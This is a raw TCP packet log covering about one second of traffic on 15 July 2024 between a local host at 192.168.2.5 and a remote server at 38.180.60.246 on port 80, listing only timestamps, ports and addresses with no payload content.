Jul 15, 2024 00:48:23.992496014 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.992542982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.992554903 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.992566109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.992640018 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.992655039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.992679119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.992679119 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.992688894 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.992700100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.992707968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.992713928 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.992736101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.992736101 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.992762089 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.992799997 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.992814064 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.992825985 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.992837906 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.992850065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.992854118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.992882967 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.992909908 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.995220900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.995260954 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.995281935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.995296001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.995310068 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.995383978 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.995395899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.995405912 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.995417118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.995460987 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.997201920 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.997237921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.997251034 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.997262001 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.997291088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.997302055 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.997337103 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.997368097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.997381926 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.997392893 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.997404099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.997415066 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.997428894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.997458935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.998948097 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.998960972 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.998974085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999006033 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999032021 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999090910 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999104023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999116898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999131918 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999144077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999166012 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999169111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999205112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999213934 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999228001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999239922 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999245882 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999253988 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999255896 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999279022 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999305010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999335051 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999347925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999360085 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999372959 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999382019 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999406099 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999432087 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999509096 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999521971 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999533892 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999547005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999562025 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999563932 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999577999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999589920 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999608994 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999635935 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999799967 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999811888 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999851942 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999855042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999897003 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999912977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999926090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999937057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:23.999954939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999974012 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:23.999984980 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.000009060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.000021935 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.000055075 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.000066042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.000447989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.000471115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.000490904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.000499010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.000521898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.000543118 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.000587940 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.000600100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.000612020 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.000624895 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.000638008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.000663042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.000803947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.000835896 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.000850916 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.000871897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.000880003 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.000910997 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.000941992 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.000955105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.000966072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.000989914 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.001015902 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.001039028 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001053095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001065016 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001087904 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.001113892 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.001189947 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001203060 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001214981 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001229048 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001240015 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.001275063 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001283884 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.001321077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.001352072 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001363993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001375914 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001388073 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001399040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.001435041 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.001493931 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001506090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001518011 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001530886 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001539946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.001571894 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.001583099 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.001624107 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.002006054 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002058029 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.002082109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002094984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002130032 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002131939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.002140999 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002177954 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.002239943 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002253056 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002264023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002275944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002286911 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.002289057 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002315044 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.002326012 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.002407074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002418995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002429962 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002441883 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002454042 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.002454996 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002487898 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.002501965 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.002557993 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002604008 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.002700090 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002748966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.002777100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002823114 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.002844095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002856970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002868891 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002882004 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002891064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.002893925 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.002901077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.002934933 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.015816927 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.015830994 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.015844107 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.015883923 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.015897989 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.015898943 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.015911102 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.015923977 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.015932083 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.015948057 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.015965939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.083760023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.083786964 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.083798885 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.083820105 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.083832979 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.083844900 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.083861113 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.083872080 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.083870888 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.083887100 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.083903074 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.083908081 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.083933115 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.083945990 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.083956957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.083962917 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.083976984 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.083991051 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.083991051 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.084008932 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.084028959 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.085727930 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.085738897 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.085771084 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.085783005 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.085796118 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.085804939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.085827112 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.085844040 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.085906982 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.085920095 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.085932970 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.085944891 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.085956097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.085982084 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.087914944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.087938070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.087951899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.087971926 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.087985039 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.088001966 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.088032961 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.088044882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.088057995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.088071108 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.088071108 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.088095903 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.088119984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.088119984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.089705944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.089728117 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.089741945 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.089755058 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.089759111 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.089768887 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.089778900 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.089782953 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.089885950 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.089898109 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.089910030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.089915037 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.089915991 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.089922905 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.089934111 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.089936018 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.089951992 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.089983940 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.090060949 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090074062 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090085030 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090097904 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090101004 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.090111017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090130091 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.090156078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.090173960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090215921 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.090250969 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090264082 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090276957 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090290070 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090292931 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.090302944 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090310097 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.090331078 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.090357065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.090744019 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090759039 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090770960 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090785027 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090796947 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.090801001 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090811968 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.090815067 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090830088 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.090842009 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.090859890 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.090883970 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.090969086 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.091011047 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.091042995 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.091084957 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.091087103 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.091099024 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.091128111 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.091141939 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.091229916 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.091242075 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.091274023 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.091279984 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.091286898 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.091314077 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.091340065 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.091415882 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.091459990 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.091480017 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.091494083 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.091521978 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.091532946 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.091572046 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.091584921 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.091599941 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.091612101 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.091613054 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.091629028 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.091653109 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.106992006 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107021093 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107033968 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107100010 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.107140064 CEST	49704	80	192.168.2.5	38.180.60.246
Jul 15, 2024 00:48:24.107145071 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107158899 CEST	80	49704	38.180.60.246	192.168.2.5
Jul 15, 2024 00:48:24.107171059 CEST	80	49704	38.180.60.246	192.168.2.5
